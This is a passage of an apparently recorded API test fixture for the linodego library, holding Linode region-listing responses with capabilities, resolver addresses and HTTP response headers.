Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 